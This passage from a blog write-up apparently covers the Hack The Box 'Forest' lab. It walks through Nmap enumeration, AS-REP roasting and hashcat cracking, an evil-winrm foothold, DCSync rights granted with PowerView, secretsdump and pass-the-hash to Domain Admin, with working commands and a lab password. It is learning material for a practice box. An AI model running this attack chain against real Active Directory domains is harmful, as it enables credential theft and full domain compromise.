&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3268/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: htb.local, Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3269/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9389/tcp open mc-nmf .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;47001/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49664/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49665/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49666/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49668/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49670/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49677/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49683/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;49698/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Running: Microsoft Windows 2016|&lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS details: Microsoft Windows Server &lt;span style="color:#ae81ff"&gt;2016&lt;/span&gt; or Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing: required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2026-02-18T13:37:14
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: 2026-02-18T13:34:06
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3:1:1:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS: Windows Server &lt;span style="color:#ae81ff"&gt;2016&lt;/span&gt; Standard &lt;span style="color:#ae81ff"&gt;14393&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Windows Server &lt;span style="color:#ae81ff"&gt;2016&lt;/span&gt; Standard 6.3&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Computer name: FOREST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS computer name: FOREST&lt;span style="color:#ae81ff"&gt;\x&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Domain name: htb.local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Forest name: htb.local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| FQDN: FOREST.htb.local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System time: 2026-02-18T05:37:13-08:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean: 2h45m57s, deviation: 4h37m09s, median: 5m55s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Upon initial inspection, I can tell this is a Windows Server and is a domain controller by the following ports: 88, 389, 636, and 3268. Port 88 is Kerberos and is used for authentication. Ports 389, 636, and 3268 are all related to LDAP. Port 636 is LDAPS, a secure version of LDAP.&lt;/p&gt;
&lt;p&gt;I can see that the server is also a file share by ports 139 and 445. Port 139 is SMB over NetBIOS while port 445 is SMB over TCP. Knowing that the -A flag from our scan performs basic scripts, I can see what information SMB provides to us. Looking at the script results, the following information is gathered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Anonymous authentication to view shares is available&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SMB signing is enabled&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SMB2 and SMB3 are used, SMB1 is disabled&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is a Windows Server 2016 standard OS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Hostname of the machine is FOREST&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The domain is htb.local&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All this information was gained just from my Nmap scan and some basic scripts being ran.&lt;/p&gt;
&lt;p&gt;There are two HTTP services running on ports 5985 and 47001. At the time, I hadn’t investigated any of the other ports. Little did I know port 5985 would be a huge port for me.&lt;/p&gt;
&lt;p&gt;Now that I’ve discussed my initial enumeration, I’ll dive into each service and how I enumerated those services.&lt;/p&gt;
&lt;h2 id="smb"&gt;&lt;a href="#smb" class="header-anchor"&gt;&lt;/a&gt;SMB
&lt;/h2&gt;&lt;p&gt;If I see SMB open, I typically start there. From my Nmap scan, I see that I can connect anonymously. The command I use is&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient -L &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; --option ‘client min protocol&lt;span style="color:#f92672"&gt;=&lt;/span&gt;SMB2’
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The -L flag lists the shares that remote machine has. Knowing the box used SMB2/SMB3, I had to throw on the option to use SMB2 otherwise it wouldn’t connect.&lt;/p&gt;
&lt;p&gt;Using smbclient, I was able to list the different shares that were available. Unfortunately, I didn’t have permission to access any of them.&lt;/p&gt;
&lt;h2 id="http"&gt;&lt;a href="#http" class="header-anchor"&gt;&lt;/a&gt;HTTP
&lt;/h2&gt;&lt;p&gt;In this case, I tried to navigate to the machine’s HTTP services by using [IP]:[port]. Again, neither service was accessible. If they would have been, I would have tried directory busting to see what was available.&lt;/p&gt;
&lt;h2 id="ldap"&gt;&lt;a href="#ldap" class="header-anchor"&gt;&lt;/a&gt;LDAP
&lt;/h2&gt;&lt;p&gt;From my previous courses that I’ve taken, I hadn’t had to enumerate LDAP, so this was a new one for me. I learned that Linux has an LDAP enumeration tool called enum4linux. This neat little tool provides a ton of information from the remote box. I created a TXT file and added all the enumerated usernames to it. Once I got to this point, I wasn’t quite sure what path to go down. Going back to my PEH notes, I ran through different things, but nothing worked. I decided to check the hint, and it mentioned AS-REP roasting. Again, this was a new concept, so I did some investigating.&lt;/p&gt;
&lt;h2 id="as-rep-roasting"&gt;&lt;a href="#as-rep-roasting" class="header-anchor"&gt;&lt;/a&gt;AS-REP Roasting
&lt;/h2&gt;&lt;p&gt;So, what exactly is AS-REP Roasting? Well, it deals with the Kerberos process and how a user account has been configured in Active Directory. Kerberos works by a client requesting authentication from the Key Distribution Center (KDC). The KDC is a trusted component of a domain controller that is responsible for authenticating users and issuing Kerberos tickets.&lt;/p&gt;
&lt;p&gt;The user requests a ticket-granting ticket. The KDC verifies the user’s identity and provides a ticket granting ticket and session key. The key is encrypted using a key based derived from the user’s password. For AS-REP roasting, this is as far as we need to go with the Kerberos process.&lt;/p&gt;
&lt;p&gt;When setting up users in Active Directory, there is an option for pre-authentication. Pre-authentication requires that the client verifies it knows the password before the server provides the ticket granting ticket. When that is disabled, the server doesn’t do any verification and simply replies to the attacking machine with data encrypted using the user’s key. This allows an attacker to capture that data and attempt to crack it offline to recover the user’s password. AS-REP Roasting takes advantage of this process.&lt;/p&gt;
&lt;p&gt;Having a basic idea of what AS-REP roasting is now, I investigated the process of utilizing this flaw in an attack. My investigation led to using netexec to perform an AS-REP Roast. The command I used was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo netexec ldap &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DC IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -u users.txt -p ‘’ — asreproast hashes.txt — verbose — kdc &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DC IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That successfully gathered a hash for the user svc-alfresco. From there, I threw the hash into hashcat and cracked the password. The command I used for hashcat was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;18200&lt;/span&gt; -a &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Hashcat output" class="gallery-image" data-flex-basis="3108px" data-flex-grow="1295" height="162" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/alfresco-crack.png" srcset="https://midwestsec.com/walkthroughs/forest/alfresco-crack_hu_9f37b4361552b6f5.png 800w, https://midwestsec.com/walkthroughs/forest/alfresco-crack_hu_e276dc8916027fb4.png 1600w, https://midwestsec.com/walkthroughs/forest/alfresco-crack.png 2098w" width="2098"&gt;&lt;/p&gt;
&lt;h2 id="next-steps"&gt;&lt;a href="#next-steps" class="header-anchor"&gt;&lt;/a&gt;Next Steps
&lt;/h2&gt;&lt;p&gt;Alright, I have credentials. Now what? I started over with checking SMB with my newly acquired credentials. The command I used was&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\[&lt;/span&gt;share&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -U htb/svc-alfresco — option ‘client min protocol&lt;span style="color:#f92672"&gt;=&lt;/span&gt;SMB2’
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I tried for each of the shares available and still didn’t have permission. I tried a couple of others things to no avail. After some assistance in brainstorming &lt;em&gt;cough&lt;/em&gt;AI&lt;em&gt;cough&lt;/em&gt;, port 5985 came into play. As I mentioned earlier, I didn’t know at the time but that port could be abused as it is WinRM.&lt;/p&gt;
&lt;h2 id="winrm"&gt;&lt;a href="#winrm" class="header-anchor"&gt;&lt;/a&gt;WinRM
&lt;/h2&gt;&lt;p&gt;What is WinRM? It is a service that Windows utilizes that allows remote commands to be executed. This allows you to manage Windows systems remotely without having physical access to them. If you’re familiar with SSH and Linux, then this is the Window’s version of that. WinRM typically runs on port 5985, for HTTP, and 5986, for HTTPS.&lt;/p&gt;
&lt;p&gt;After looking into ways to abuse WinRM, I came across a tool called evil-winrm. This tool allows you to connect to WinRM from the attacking machine. To successfully use evil-winrm, you need to have WinRM open (I did), have valid credentials (I do now), and the target must allow authentication. Knowing that I have the requirements, I gave it a shot. I used the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;evil-winrm -i 10.129.95.210 -u svc-alfresco -p &lt;span style="color:#f92672"&gt;[&lt;/span&gt;PASSWORD&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Using evil-winRM with svc-alfresco" class="gallery-image" data-flex-basis="1517px" data-flex-grow="632" height="328" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/evil-winrm-alfresco.png" srcset="https://midwestsec.com/walkthroughs/forest/evil-winrm-alfresco_hu_941d9367e46a78c0.png 800w, https://midwestsec.com/walkthroughs/forest/evil-winrm-alfresco_hu_ecd374b5ec545a03.png 1600w, https://midwestsec.com/walkthroughs/forest/evil-winrm-alfresco.png 2074w" width="2074"&gt;&lt;/p&gt;
&lt;p&gt;I was now in and had gained a foothold. Since this is a CTF, I immediately went and captured the user flag.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capturing the user flag" class="gallery-image" data-flex-basis="3145px" data-flex-grow="1310" height="74" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/user-ctf.png" srcset="https://midwestsec.com/walkthroughs/forest/user-ctf_hu_67bdc1b80c1c3d82.png 800w, https://midwestsec.com/walkthroughs/forest/user-ctf.png 970w" width="970"&gt;&lt;/p&gt;
&lt;h2 id="dacl"&gt;&lt;a href="#dacl" class="header-anchor"&gt;&lt;/a&gt;DACL
&lt;/h2&gt;&lt;p&gt;I’ve captured the flag, great, now what? Well, it’s time to gain admin and finish the box. Reaching into my Windows privilege escalation notes, I tried a few things but got nowhere with them. Since I’m still new, I took a hint from the box. It mentioned write permissions on the DACL. What is a DACL? DACL stands for Discretionary Access Control List. At a basic level, it controls what an entity has access to. It utilizes access control entries (ACEs). ACEs define whether a user or group is allowed or denied access. If no ACE is present, access is denied by default.&lt;/p&gt;
&lt;p&gt;So how do we abuse this? If you have write permissions, you can modify the DACL permissions that can lead to privilege escalation. This can be done by adding users to a privileged group or granting replication permission.&lt;/p&gt;
&lt;h2 id="enumeration"&gt;&lt;a href="#enumeration" class="header-anchor"&gt;&lt;/a&gt;Enumeration
&lt;/h2&gt;&lt;p&gt;So how can we enumerate for write permissions on the DACL? I tried two ways: BloodHound and Impacket. I’ll admit, I haven’t had the best luck using BloodHound since it updated to the Community Edition. This was a good way to continue to work on wrapping my mind around it.&lt;/p&gt;
&lt;h2 id="bloodhound"&gt;&lt;a href="#bloodhound" class="header-anchor"&gt;&lt;/a&gt;BloodHound
&lt;/h2&gt;&lt;p&gt;If you’re not familiar with what BloodHound is, it is a great tool for mapping Active Directory. Once you have a set of valid credentials, you can use those to map the AD environment, see how things are connected and what potential vulnerabilities there are. There are a few steps to get things set up, collect data and visualize it, but I’m going to skip over those.&lt;/p&gt;
&lt;p&gt;I collected the data from the target machine, thanks to evil-winrm, and imported it into BloodHound. I started with the compromised account and saw that it is a member of the privileged IT accounts group and account operators group. Through the operator group, our user has permissions to create and add users to groups.&lt;/p&gt;
&lt;h2 id="domain-takeover"&gt;&lt;a href="#domain-takeover" class="header-anchor"&gt;&lt;/a&gt;Domain Takeover
&lt;/h2&gt;&lt;p&gt;Since I know I can add users to groups, I decided to go down that path. I added my compromised user to the Exchange Windows Permissions group by using the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;net rpc group addmem “Exchange Windows Permissions” SVC-ALFRESCO -U “HTB.LOCAL/SVC-ALFRESCO%s3rvice” -S 10.129.95.210
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This group can modify ACLs within Active Directory. I then used a tool called &lt;a class="link" href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" target="_blank" rel="noopener"
 &gt;PowerView&lt;/a&gt; and ran it on the remote machine.&lt;/p&gt;
&lt;p&gt;PowerView, in this case, modified the AD ACLs. This allows me to set up the compromised account to perform a DCSync attack, which replicates the AD environment to my machine. During the replication, the hashes of users are sent to my machine.&lt;/p&gt;
&lt;p&gt;I ran the following command to utilize PowerView and add DCSync permissions to my user:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$username = “htb\svc-alfresco”;
$password = &amp;#34;s3rvice&amp;#34;;
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object System.Management.Automation.PSCredential($username, $secstr);
Add-DomainObjectAcl -Credential $cred -PrincipalIdentity &amp;#39;svc-alfresco&amp;#39; -TargetIdentity &amp;#39;HTB.LOCAL\Domain Admins&amp;#39; -Rights DCSync
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To run a DCSync, I use the following command on my attacking machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump HTB.LOCAL/SVC-ALFRESCO:s3rvice@FOREST.htb.local
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Capturing the Domain Admin hash" class="gallery-image" data-flex-basis="10870px" data-flex-grow="4529" height="68" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/da-hash.png" srcset="https://midwestsec.com/walkthroughs/forest/da-hash_hu_bfb1af05de1a575b.png 800w, https://midwestsec.com/walkthroughs/forest/da-hash_hu_c95f527d10f4b82.png 1600w, https://midwestsec.com/walkthroughs/forest/da-hash_hu_da9d03d3b11f56d8.png 2400w, https://midwestsec.com/walkthroughs/forest/da-hash.png 3080w" width="3080"&gt;&lt;/p&gt;
&lt;p&gt;And with that I have the hash for the domain admin. From there I’m able to use the hash to get into the domain controller.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;evil-winrm -i 10.129.95.210 -u Administrator -H &lt;span style="color:#f92672"&gt;[&lt;/span&gt;HASH&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From there, I was able to full compromise the domain and capture the flag.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Domain Admin Proof" class="gallery-image" data-flex-basis="3360px" data-flex-grow="1400" height="66" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/da-whoami.png" srcset="https://midwestsec.com/walkthroughs/forest/da-whoami_hu_7426886c1090730f.png 800w, https://midwestsec.com/walkthroughs/forest/da-whoami.png 924w" width="924"&gt;
&lt;img alt="Cpturing the Root flag" class="gallery-image" data-flex-basis="3353px" data-flex-grow="1397" height="70" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/forest/root-ctf.png" srcset="https://midwestsec.com/walkthroughs/forest/root-ctf_hu_f57184e7a1c29951.png 800w, https://midwestsec.com/walkthroughs/forest/root-ctf.png 978w" width="978"&gt;&lt;/p&gt;
&lt;h2 id="conclusion"&gt;&lt;a href="#conclusion" class="header-anchor"&gt;&lt;/a&gt;Conclusion
&lt;/h2&gt;&lt;p&gt;Overall, I needed a good amount of assistance on this box. I had never enumerated LDAP or modified DACLs before. I’ve updated my notes so I’ll be more prepared to identify attack paths and use similar techniques in the future.&lt;/p&gt;</description></item></channel></rss>